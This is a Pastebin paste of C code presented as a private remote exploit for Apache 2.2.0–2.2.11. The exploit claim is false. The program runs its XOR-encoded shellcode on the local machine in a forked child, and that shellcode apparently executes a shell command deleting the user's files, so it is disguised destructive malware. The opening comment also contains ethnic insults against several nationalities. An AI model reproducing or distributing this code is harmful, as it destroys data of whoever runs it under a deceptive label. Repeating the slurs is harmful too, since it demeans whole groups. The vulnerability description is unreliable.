Advertisement
Guest User

Untitled

a guest
Nov 4th, 2009
10,415
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. /*
  2.  
  3. ===========================================================
  4.   !THIS 0DAY EXPLOIT IS PRIVATE PLEASE DO NOT DISTRIBUTE!
  5. ===========================================================
  6.  
  7. Apache 2.2.0 - 2.2.11 Remote exploit
  8.  
  9. Exploiting an off-by one bug in apr_uri_parse_hostinfo()
  10. which leads to allocation of arbitrary ammount of memory,
  11. put the shellcode then reliably jump in upon invocation
  12. of the APR callback.
  13.  
  14. Compile: gcc fuckapache.c -o fuckapache
  15.  
  16. Usage: ./fuckapache <hostname> <port>
  17.  
  18. E.g:
  19. ===========================================================
  20. [test@localhost tmp]$ ./fuck localhost 80
  21. Connected, sending out the evil request...
  22. Waiting some seconds to see if we got shell...
  23. Now type nc localhost 12345 to see if you've got shell there
  24. [test@localhost tmp]$ nc localhost 12345
  25. id
  26. uid=48(apache) gid=48(apache) groups=48(apache)
  27. ^D
  28.  
  29. ==========================================================
  30.  
  31. Fuck all script kiddies around the world. No more free bugs, get lost.
  32.  
  33. Fuck all Indonesian, Malaysian, Pakistani, Saudi, Marrocan, Nigerian,
  34. Turkish and other third-world *hack3rz* whose only contribution to the
  35. world is writing dummy sqli scripts in python flooding the net
  36. with BS like "kekekekeke" "ajjajaja" "i kill you".
  37. Feel free to suck my balls, all of you.
  38.  
  39. Have phun :)
  40.  
  41. */
  42.  
  43. #include <stdio.h>
  44. #include <sys/types.h>
  45. #include <sys/socket.h>
  46. #include <netinet/in.h>
  47. #include <netdb.h>
  48. #include <string.h>
  49. #include <unistd.h>
  50. #include <stdlib.h>
  51.  
  52. void usage(char *argv[])
  53. {
  54.     printf("Usage: %s <hostname> <port>\n\n",argv[0]);
  55.     exit(1);
  56. }
  57.  
  58.  
  59.  
  60. int main(int argc,char *argv[])
  61. {
  62. // we_are_evil_we_are_evil_bindshell_31337_shellcode_in_91_bytes:>
  63. char *shellcode=
  64. "\xb8\xff\x2f\x73\x68\xc1\xe8\x08\x50"
  65. "\xb8\x2f\x62\x69\x6e\x50\x89\xe3\x31\xc0\x50"
  66. "\x66\xb8\x71\x71\x66\x35\x51\x51\x66\x50"
  67. "\xb8\x23\x37\x71\x2f\x35\x51\x51\x51\x51\x50"
  68. "\xb8\x23\x3c\x71\x7c\x35\x51\x51\x51\x51\x50\x89\xe1\x31\xc0\x50"
  69. "\x66\xb8\x2d\x63\x66\x50\x89\xe2\x31\xc0\xb0\x64\x29\xc4\x31\xc0\x50\x51\x52\x53"
  70. "\x89\xe1\x31\xd2\x31\xc0\xb0\x0b\xcd\x80\xb4\x01\x31\xdb\xcd\x80";
  71. int (*sc)()=(int(*)())shellcode;
  72. char host[100];
  73. int sd;
  74. struct sockaddr_in sin;
  75. struct sockaddr_in pin;
  76. struct hostent *hp;
  77. // assuming PAGE_SIZE==4096 which is the most common case.
  78. char *evilreq=malloc(4096);
  79. pid_t pid;
  80.  
  81.     if (argc!=3) usage(argv);
  82.     strcpy(host,argv[1]);
  83.     if ((hp = gethostbyname(host)) == 0) {
  84.     perror("gethostbyname");
  85.     exit(2);
  86.     }
  87.     memset(&pin, 0, sizeof(pin));
  88.     pin.sin_family = AF_INET;
  89.     pin.sin_addr.s_addr = ((struct in_addr *)(hp->h_addr))->s_addr;
  90.     pin.sin_port = htons(atoi(argv[2]));
  91.  
  92.     if ((sd = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
  93.     perror("socket");
  94.     exit(1);
  95.     }
  96.  
  97.     if (connect(sd,(struct sockaddr *)  &pin, sizeof(pin)) == -1) {
  98.     perror("connect");
  99.     exit(3);
  100.     }
  101.    
  102.     printf("Connected, sending out the evil request...\n");
  103.    
  104.     // prepare teh evil request
  105.     sprintf(evilreq,"GET / HTTP/1.0\nAccept-Encoding: x-compress; x-zip\nCache-Control: max-age=-12312312%%s%91s\n\n",shellcode);
  106.    
  107.     if (send(sd, evilreq, strlen(evilreq), 0) == -1) {
  108.     perror("send");
  109.     exit(1);
  110.     }
  111.    
  112.     printf("Waiting some seconds to see if we got shell...\n");
  113.     pid=fork();
  114.     if (pid==0) {close(2);sc();exit(0);}
  115.     else
  116.     {
  117.     sleep(2);
  118.     if (sd)
  119.     {
  120.         printf("Now type nc %s 12345 to see if you've got shell there\n",argv[1]);
  121.         close(sd);
  122.     }
  123.     }
  124.    
  125. }
Advertisement
Advertisement
Advertisement
RAW Paste Data Copied
Advertisement